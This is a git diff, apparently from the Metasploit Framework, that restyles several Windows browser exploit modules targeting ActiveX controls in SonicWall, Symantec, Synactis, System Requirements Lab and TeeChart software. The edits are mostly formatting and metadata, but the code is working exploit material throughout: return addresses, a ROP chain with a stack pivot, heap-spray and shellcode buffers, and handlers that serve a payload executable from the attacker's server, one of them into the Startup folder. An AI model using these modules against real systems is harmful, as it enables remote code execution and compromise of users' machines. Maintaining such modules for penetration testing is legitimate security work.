initialize(info = {}) - super(update_info(info, - 'Name' => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender. - By sending an overly long string to the "AddRouteEntry()" method located - in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute - arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + By sending an overly long string to the "AddRouteEntry()" method located + in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute + arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-5603'], [ 'OSVDB', '39069'], [ 'URL', 'http://www.sec-consult.com/303.html' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'IE 6 / Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 11/01/07 + 'Platform' => 'win', + 'Targets' => [ + [ 'IE 6 / Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 11/01/07 ], - 'DisclosureDate' => '2007-11-01', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-11-01', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter - false + false end def check_dependencies - use_zlib + use_zlib end def on_request_uri(cli, request) @@ -61,7 +66,7 @@ def on_request_uri(cli, request) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer - sploit = rand_text_english(36) + [target.ret].pack('V') + sploit = rand_text_english(36) + [target.ret].pack('V') sploit << p.encoded + rand_text_english(1024 - p.encoded.length) # Build out the message diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb index 3503fff175dd5..95d4fefc3118b 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb @@ -10,42 +10,48 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute', + 'Description' => %q{ This module allows remote attackers to install and execute arbitrary files on a users file system via - AeXNSPkgDLLib.dll (6.0.0.1418). This module was tested against Symantec Altiris Deployment Solution 6.9 sp3. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + AeXNSPkgDLLib.dll (6.0.0.1418). This module was tested against Symantec Altiris Deployment Solution 6.9 sp3. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'BID', '36346' ], [ 'CVE', '2009-3028' ], [ 'OSVDB', '57893' ] ], - 'Payload' => - { - 'Space' => 2048, + 'Payload' => { + 'Space' => 2048, 'StackAdjustment' => -3500, }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'HTTP::compression' => 'gzip' }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], ], - 'DisclosureDate' => '2009-09-09', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-09-09', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ - OptString.new('PATH', [ true, "The path to place the executable.", 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\' ]), + OptString.new('PATH', [ true, "The path to place the executable.", 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\' ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ]) + ] + ) end def autofilter @@ -57,21 +63,21 @@ def check_dependencies end def on_request_uri(cli, request) - - payload_url = "http://" + payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD" if (request.uri.match(/PAYLOAD/)) return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) print_status("Sending payload EXE") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end - vname = rand_text_alpha(rand(100) + 1) - exe = rand_text_alpha_upper(rand(5) + 1) + vname = rand_text_alpha(rand(100) + 1) + exe = rand_text_alpha_upper(rand(5) + 1) content = %Q| @@ -90,7 +96,6 @@ def on_request_uri(cli, request) send_response_html(cli, content) handler(cli) - end end diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb index 30b51c4211394..96e4824c9b61c 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb @@ -9,43 +9,49 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symantec Altiris Deployment Solution ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Symantec Altiris Deployment Solution ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Symantec Altiris Deployment Solution. - When sending an overly long string to RunCmd() method of - AeXNSConsoleUtilities.dll (6.0.0.1426) an attacker may be able to execute arbitrary - code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + When sending an overly long string to RunCmd() method of + AeXNSConsoleUtilities.dll (6.0.0.1426) an attacker may be able to execute arbitrary + code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2009-3033' ], [ 'BID', '37092' ], [ 'OSVDB', '60496' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], - 'DisclosureDate' => '2009-11-04', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-11-04', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ]) + ] + ) end def autofilter diff --git a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb index 9c5be74f40c67..2eb93ee852fec 100644 --- a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb +++ b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb @@ -10,34 +10,39 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute', + 'Description' => %q{ This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability - is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()" - method. The insecure method can be exploited to download and execute arbitrary files in the - context of the currently logged-on user. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()" + method. The insecure method can be exploited to download and execute arbitrary files in the + context of the currently logged-on user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2008-4388' ], [ 'OSVDB', '51410' ], ], - 'Payload' => - { - 'Space' => 2048, + 'Payload' => { + 'Space' => 2048, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], ], - 'DisclosureDate' => '2009-01-15', - 'DefaultTarget' => 0)) - + 'DisclosureDate' => '2009-01-15', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -49,21 +54,21 @@ def check_dependencies end def on_request_uri(cli, request) - - payload_url = "http://" + payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) print_status("Sending payload EXE") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end - vname = rand_text_alpha(rand(100) + 1) - exe = rand_text_alpha(rand(5) + 1 ) + vname = rand_text_alpha(rand(100) + 1) + exe = rand_text_alpha(rand(5) + 1) content = %Q| @@ -79,6 +84,5 @@ def on_request_uri(cli, request) send_response_html(cli, content) handler(cli) - end end diff --git a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb index 3ab97983d4088..af95fa71ea156 100644 --- a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb +++ b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb @@ -9,40 +9,45 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symantec BackupExec Calendar Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Symantec BackupExec Calendar Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Symantec BackupExec Calendar Control. - By sending an overly long string to the "_DOWText0" property located - in the pvcalendar.ocx control, an attacker may be able to execute - arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Elazar Broad ' ], - 'References' => - [ + By sending an overly long string to the "_DOWText0" property located + in the pvcalendar.ocx control, an attacker may be able to execute + arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Elazar Broad ' ], + 'References' => [ [ 'CVE', '2007-6016' ], [ 'OSVDB', '42358'], [ 'BID', '26904' ], [ 'URL', 'http://web.archive.org/web/20080302192347/http://secunia.com:80/advisories/27885/' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ] ], - 'DisclosureDate' => '2008-02-28', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2008-02-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -61,27 +66,27 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers - nops = Rex::Text.to_unescape(make_nops(4)) - ret = Rex::Text.uri_encode([target.ret].pack('L')) + nops = Rex::Text.to_unescape(make_nops(4)) + ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x30000 - fillto = 400 - offset = target['Offset'] - junk = rand_text_alpha(4) + fillto = 400 + offset = target['Offset'] + junk = rand_text_alpha(4) # Randomize the javascript variable names - pvcalendar = rand_text_alpha(rand(100) + 1) - j_shellcode = rand_text_alpha(rand(100) + 1) - j_nops = rand_text_alpha(rand(100) + 1) + pvcalendar = rand_text_alpha(rand(100) + 1) + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) - j_fillblock = rand_text_alpha(rand(100) + 1) - j_block = rand_text_alpha(rand(100) + 1) - j_memory = rand_text_alpha(rand(100) + 1) - j_counter = rand_text_alpha(rand(30) + 2) - j_ret = rand_text_alpha(rand(100) + 1) - j_junk = rand_text_alpha(rand(100) + 1) - j_filename = rand_text_alpha(rand(16) + 1) - randnop = rand_text_alpha(rand(100) + 1) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_block = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) + j_ret = rand_text_alpha(rand(100) + 1) + j_junk = rand_text_alpha(rand(100) + 1) + j_filename = rand_text_alpha(rand(16) + 1) + randnop = rand_text_alpha(rand(100) + 1) # Build out the message content = %Q| diff --git a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb index d6a77e34a88a5..bf52ae019a41e 100644 --- a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb +++ b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb @@ -9,44 +9,49 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Symantecs ConsoleUtilities. - By sending an overly long string to the "BrowseAndSaveFile()" method located - in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to - execute arbitrary code - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Nikolas Sotiriu (lofi)' ], - 'References' => - [ + By sending an overly long string to the "BrowseAndSaveFile()" method located + in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to + execute arbitrary code + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Nikolas Sotiriu (lofi)' ], + 'References' => [ [ 'CVE', '2009-3031'], [ 'OSVDB', '59597'], [ 'BID', '36698'], [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ], [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1000, + 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ], - [ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP - [ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP - [ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ], + [ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP + [ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP + [ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP ], - 'DisclosureDate' => '2009-11-02', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-11-02', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -62,11 +67,11 @@ def on_request_uri(cli, request) return if ((p = regenerate_payload(cli)) == nil) # Randomize variables - vname = rand_text_alpha(rand(20) + 1) - junk = rand_text_alpha(rand(20) + 1) - eip = rand_text_alpha(rand(20) + 1) + vname = rand_text_alpha(rand(20) + 1) + junk = rand_text_alpha(rand(20) + 1) + eip = rand_text_alpha(rand(20) + 1) morejunk = rand_text_alpha(rand(20) + 1) - sc = rand_text_alpha(rand(20) + 1) + sc = rand_text_alpha(rand(20) + 1) buf = rand_text_alpha(rand(20) + 1) # Set RET and shellcode diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index f138a720dc56c..188c836a51156 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -8,9 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - #include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn # - #autopwn_info({ + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # :ua_maxver => "8.0", @@ -19,44 +19,43 @@ class MetasploitModule < Msf::Exploit::Remote # :method => "ConnectToSynactis", # :os_name => OperatingSystems::Match::WINDOWS, # :rank => AverageRanking - #}) - - def initialize(info={}) - super(update_info(info, - 'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", - 'Description' => %q{ + # }) + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", + 'Description' => %q{ This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX - component, specifically PDF_IN_1.ocx. When a long string of data is given - to the ConnectToSynactis function, which is meant to be used for the ldCmdLine - argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry - class pointer saved on the stack, resulting in arbitrary code execution under the - context of the user. + component, specifically PDF_IN_1.ocx. When a long string of data is given + to the ConnectToSynactis function, which is meant to be used for the ldCmdLine + argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry + class pointer saved on the stack, resulting in arbitrary code execution under the + context of the user. Also note that since the WinExec function is used to call the default browser, - you must be aware that: 1) The default must be Internet Explorer, and 2) when the - exploit runs, another browser will pop up. + you must be aware that: 1) The default must be Internet Explorer, and 2) when the + exploit runs, another browser will pop up. Synactis PDF In-The-Box is also used by other software such as Logic Print 2013, - which is how the vulnerability was found and publicly disclosed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + which is how the vulnerability was found and publicly disclosed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'h1ch4m', - 'sinn3r' #Metasploit + 'sinn3r' # Metasploit ], - 'References' => - [ + 'References' => [ [ 'OSVDB', '93754' ], [ 'EDB', '25835' ] ], - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Newer setups like Win + IE8: "Object doesn't support this property or method" [ 'Automatic', {} ], [ - 'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c} + 'IE 7 on Windows XP SP3', { 'Eax' => 0x0c0c0c0c } ], [ # 0x20302020 = Where the heap spray will land @@ -65,18 +64,23 @@ class pointer saved on the stack, resulting in arbitrary code execution under th { 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 } ] ], - 'Payload' => - { - 'BadChars' => "\x00", + 'Payload' => { + 'BadChars' => "\x00", 'StackAdjustment' => -3500 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Privileged' => false, - 'DisclosureDate' => '2013-05-30', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-05-30', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def get_target(agent) @@ -107,9 +111,9 @@ def get_payload(t, cli) case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") - align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 # Must be null-byte-free for the spray - chain = + chain = [ t['Pivot'], 0x41414141, @@ -139,7 +143,7 @@ def get_payload(t, cli) 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") - p = chain + align + code + p = chain + align + code else p = "\x0c" * 50 + code @@ -150,7 +154,7 @@ def get_payload(t, cli) def get_html(cli, req, target) js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch)) - eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x" + eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x" html = %Q| @@ -186,7 +190,7 @@ def get_html(cli, req, target) def on_request_uri(cli, request) agent = request.headers['User-Agent'] - uri = request.uri + uri = request.uri print_status("Requesting: #{uri}") target = get_target(agent) @@ -197,6 +201,6 @@ def on_request_uri(cli, request) end print_status("Target selected as: #{target.name}") - send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + send_response(cli, get_html(cli, request, target), { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache' }) end end diff --git a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb index 15cd21a48249c..05ed2b6cc800b 100644 --- a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb +++ b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb @@ -10,32 +10,38 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method', + 'Description' => %q{ This module allows attackers to execute code via an unsafe method in - Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0) - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0) + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2008-4385' ], [ 'OSVDB', '50122' ], [ 'US-CERT-VU', '166651' ], ], - 'Payload' => - { - 'Space' => 2048, + 'Payload' => { + 'Space' => 2048, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2008-10-16')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2008-10-16', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -47,21 +53,21 @@ def check_dependencies end def on_request_uri(cli, request) - - payload_url = "http://" + payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) print_status("Sending payload EXE") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end - vname = rand_text_alpha(rand(100) + 1) - exe = rand_text_alpha(rand(20) + 1) + vname = rand_text_alpha(rand(100) + 1) + exe = rand_text_alpha(rand(20) + 1) content = %Q| @@ -79,6 +85,5 @@ def on_request_uri(cli, request) send_response_html(cli, content) handler(cli) - end end diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index 2fbcc01d4223a..c2034b6c70167 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -9,56 +9,53 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super( update_info(info, - 'Name' => 'TeeChart Professional ActiveX Control Trusted Integer Dereference', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'TeeChart Professional ActiveX Control Trusted Integer Dereference', + 'Description' => %q{ This module exploits an integer overflow in TeeChart Pro ActiveX control. When - sending an overly large/negative integer value to the AddSeries() property of - TeeChart2010.ocx, the code will perform an arithmetic operation that wraps the - value and is later directly trusted and called upon. + sending an overly large/negative integer value to the AddSeries() property of + TeeChart2010.ocx, the code will perform an arithmetic operation that wraps the + value and is later directly trusted and called upon. - This module has been designed to bypass DEP only under IE8 with Java support. Multiple - versions (including the latest version) are affected by this vulnerability that date - back to as far as 2001. + This module has been designed to bypass DEP only under IE8 with Java support. Multiple + versions (including the latest version) are affected by this vulnerability that date + back to as far as 2001. - The following controls are vulnerable: + The following controls are vulnerable: - TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4); - TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD); - TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E); - TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196); - TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258). + TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4); + TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD); + TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E); + TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196); + TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258). - The controls are deployed under several SCADA based systems including: + The controls are deployed under several SCADA based systems including: - Unitronics OPC server v1.3; - BACnet Operator Workstation Version 1.0.76 - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + Unitronics OPC server v1.3; + BACnet Operator Workstation Version 1.0.76 + }, + 'License' => MSF_LICENSE, + 'Author' => [ # twitter.com/net__ninja 'mr_me ', # initial discovery/msf module - 'sinn3r', #Auto target, obfuscation, lots of testing + 'sinn3r', # Auto target, obfuscation, lots of testing ], - 'References' => - [ + 'References' => [ [ 'OSVDB', '74446'], [ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], # For exploitation we need to calculate a value for EDX: # - EAX / 4 = address to place in edx via signed integar @@ -92,13 +89,21 @@ def initialize(info = {}) } ] ], - 'DisclosureDate' => '2011-08-11', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2011-08-11', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) - ]) + ] + ) end def junk @@ -106,7 +111,7 @@ def junk end def on_request_uri(cli, request) - #Set target manually or automatically + # Set target manually or automatically my_target = target if my_target.name == 'Automatic' agent = request.headers['User-Agent'] @@ -134,45 +139,45 @@ def on_request_uri(cli, request) sc = Rex::Text.to_unescape(p.encoded) # Randomize 